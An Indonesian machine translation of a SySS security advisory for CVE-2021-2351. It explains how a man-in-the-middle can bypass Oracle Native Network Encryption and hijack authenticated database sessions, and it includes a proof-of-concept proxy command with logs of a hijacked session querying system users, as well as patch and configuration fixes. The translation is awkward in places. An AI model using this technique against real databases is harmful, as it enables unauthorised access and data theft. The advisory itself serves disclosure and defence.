Bypass Mekanisme Perlindungan Database Oracle

  • Whatsapp
runc / libcontainer Bind Mount Sources Penanganan Tidak Aman
runc libcontainer Bind Mount Sources Penanganan Tidak Aman

News.nextcloud.asia

ID Penasehat: SYSS-2021-061
Produk: Basis Data
Pabrikan: Oracle
Versi yang Terpengaruh: 12.1.0.2, 12.2.0.1, 19c
Versi yang Diuji: 18c
Jenis Kerentanan: Kegagalan Mekanisme Perlindungan (CWE-693)
Tingkat Risiko: Tinggi
Status Solusi: Tetap
Pemberitahuan Pabrikan: 2021-03-17
Tanggal Solusi: 2021-08-07
Keterbukaan Informasi Publik: 2021-12-10
Referensi CVE: CVE-2021-2351
Penulis Penasehat: Moritz Bechler, SySS GmbH

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~

Ringkasan:

Oracle Database adalah tujuan umum manajemen database relasional
sistem (RDMBS).

Pabrikan menjelaskan produk sebagai berikut (lihat [1]):

“Produk database Oracle menawarkan pelanggan dengan biaya yang dioptimalkan dan kinerja tinggi
versi Oracle Database, multi-model konvergensi terkemuka di dunia
sistem manajemen database, serta database dalam memori, NoSQL dan MySQL.
Oracle Autonomous Database, tersedia di tempat melalui Oracle [email protected]
atau di Oracle Cloud Infrastructure, memungkinkan pelanggan untuk menyederhanakan relasional
lingkungan database dan mengurangi beban kerja manajemen.”

Untuk melindungi komunikasi klien/server, protokol keamanan berpemilik
“Enkripsi Jaringan Asli” (NNE) digunakan.
Alternatif berbasis TLS dapat dikonfigurasi secara opsional.

Karena perilaku mundur yang tidak aman, penyerang man-in-the-middle dapat melewati
Perlindungan NNE terhadap serangan man-in-the-middle dan pembajakan diautentikasi
koneksi. Dalam beberapa konfigurasi, serangan man-in-the-middle penuh adalah
mungkin.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~

Detail Kerentanan:

Untuk mengurangi serangan man-in-the-middle pada Diffie-
Pertukaran kunci Hellman, protokol mengimplementasikan mixin tambahan
kunci bersama yang dibuat oleh protokol otentikasi
(biasanya O5Logon). Ini bergantung pada fakta bahwa baik klien maupun server
memiliki pengetahuan tentang kata sandi pengguna (hash), yang berpotensi menjadi penyerang
tidak memiliki.

Untuk detail lebih lanjut tentang protokol, lihat makalah kami [4].

SySS, bagaimanapun, menemukan bahwa implementasi klien JDBC Thin tidak
tidak menerapkan lipatan itu dan koneksinya masih diterima
oleh server basis data. Server melakukan fallback ke awal
kunci sesi jika pemeriksaan dekripsi/integritas gagal.

Kunci asli itu diketahui oleh penyerang yang telah melakukan klasik
serangan man-in-the-middle terhadap pertukaran kunci Diffie-Hellman awal.

Untuk klien JDBC Thin, ini memungkinkan pengamatan dan manipulasi langsung
lalu lintas tingkat aplikasi, karena kedua belah pihak masih menggunakan
kunci asli.

Namun demikian, klien lain, yang mengimplementasikan fold-in kunci otentikasi,
masih rentan. Sementara klien mengharapkan kunci sesi yang berbeda
setelah otentikasi selesai, itu dapat dengan mudah dijatuhkan/diabaikan.
Sisi server dari koneksi pada titik ini sudah diautentikasi
dan komunikasi masih dimungkinkan karena penggantian kunci. Ini hibah
akses ke sistem database sebagai pengguna korban asli.

Serangan ini berhasil di semua konfigurasi yang diketahui, kecuali jika TLS
keamanan digunakan.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~

Bukti Konsep (PoC):

Untuk analisis dan serangan protokol, SySS membangun server proxy yang mengimplementasikan
dasar-dasar protokol database dan NNE. Proksi dapat melakukan a
serangan man-in-the-middle terhadap pertukaran kunci Diffie-Hellman selama
negosiasi NNE. Kemudian, diperlukan terjemahan dan penyesuaian antara
klien dan server, yang sekarang menggunakan kunci sesi yang berbeda, adalah
dilakukan.

Meluncurkan proxy dan mengarahkan ulang koneksi klien ke sana,
serangan man-in-the-middle dilakukan. Bagian terenkripsi dari selanjutnya
negosiasi protokol dapat diamati, termasuk pertukaran otentikasi.
Kemudian, klien dijatuhkan, dan proxy mengirimkan kueri yang telah ditentukan sebelumnya ke
server.

Kutipan log berikut menunjukkan klien OCI (21.3) yang terhubung sebagai
pengguna sistem. Koneksi dibajak dan tabel pengguna sistem
ditanyakan oleh proxy serangan.

> ./mitm.py –targethost 172.17.0.1 –mitmDH –hijackConnection
[…]
|###[ Service ]###
| serviceId = enkripsi
| jumlahParameter= 2
| tidak diketahui1 = 0
|###[ EncryptionResp ]###
| versi = 12000000
| sesuatu = AES256
|###[ Service ]###
| serviceId = integritas
| jumlahParameter= 8
| tidak diketahui1 = 0
|###[ IntegrityResp ]###
| versi = 12000000
| sesuatu = SHA256
| len1 = 0800
| len2 = 0800
| pembangkit = […]
| prima = […]
| umum = […]
| rand = 666F6F206261722062617A206261742071757578

[…]
DEBUG:root:Teruskan server -> klien
DEBUG: root: Menerima muatan terenkripsi […]
[…]x0cAUTH_USER_IDx01x00x00x00x019x00x00x00x00x0fx00x00x00x0fAUTH_SESSION_ID[…]
[authentication completed at this point]
INFO:root:Awalnya membajak koneksi
[…]
DEBUG: root: Menerima muatan terenkripsi […]
INFO:root:###[ TTIMsg ]###
TTCode = 8
###[ RPA ]###
outNbPairs= Tidak Ada
nbPasangan
|###[ KVPair ]###
| kunciPtr = Tidak ada
| key = b’x00VOracle Database 18c Edisi Ekspres Rilis 18.0.0.0.0 – ProduksinVersi 18.4.0.0′
[…]

INFO:root:b'[…]+pilih nama pengguna BERBEDA DARI sys.all_users[…]
INFO:root:Kirim muatan terenkripsi […] hanya 368
[…]
DEBUG: root: Menerima muatan terenkripsi […]
INFO:root:###[ TTIMsg ]###
Kode TTC = 6
###[ Raw ]###
beban = ‘[…]x07x06DBSNMPx07tAPPQOSSYSx07nGSMCATUSERx07x05GGSYSx07x03XDB[…]’

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~

Larutan:

Perbarui server dan klien Oracle Database ke versi yang ditambal.
Terapkan penggunaan versi protokol aman dengan menyetel opsi berikut:

SQLNET.ALLOW_WEAK_CRYPTO_CLIENTS=FALSE (sisi server)
SQLNET.ALLOW_WEAK_CRYPTO=FALSE (sisi klien)

Atau gunakan keamanan transportasi berbasis TLS alih-alih Enkripsi Jaringan Asli.

Informasi lebih lanjut:
https://www.Oracle.com/security-alerts/cpujul2021.html
https://support.Oracle.com/rs?type=doc&id=2791571.1 (diperlukan akun pelanggan)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~

Garis Waktu Pengungkapan:

2021-03-02: Kerentanan ditemukan
2021-03-17: Kerentanan dilaporkan ke pabrikan
2021-07-20: Rilis patch awal oleh pabrikan,
2021-08-07: Patch terakhir dirilis oleh pabrikan
2021-12-10: Pengungkapan kerentanan kepada publik

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~

Referensi:

[1] Situs web produk untuk Oracle Database
https://www.Oracle.com/database/
[2] Penasihat Keamanan SySS SYSS-2021-061
https://www.syss.de/fileadmin/dokumente/Publicationen/Advisories/SYSS-2021-061.txt
[3] Kebijakan Pengungkapan Bertanggung Jawab SySS
https://www.syss.de/en/responsible-disclosure-policy
[4] Makalah “Enkripsi Jaringan Asli Oracle”
https://www.syss.de/fileadmin/dokumente/Publicationen/2021/2021_Oracle_NNE.pdf

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~

Kredit:

Kerentanan keamanan ini ditemukan oleh Moritz Bechler dari SySS GmbH.

Surel: [email protected]
Kunci Publik: https://www.syss.de/fileadmin/dokumente/PGPKeys/Moritz_Bechler.asc
ID Kunci: 0x768EFE2BB3E53DDA
Sidik Jari Kunci: 2C8F F101 9D77 BDE6 465E CCC2 768E FE2B B3E5 3DDA

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~

Penafian:

Informasi yang diberikan dalam nasihat keamanan ini diberikan “sebagaimana adanya”
dan tanpa jaminan apapun. Detail dari penasihat keamanan ini mungkin
diperbarui untuk memberikan informasi seakurat mungkin. Itu
versi terbaru dari penasihat keamanan ini tersedia di situs web SySS.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~

Hak cipta:

Creative Commons – Atribusi (oleh) – Versi 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en

Pos terkait

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan.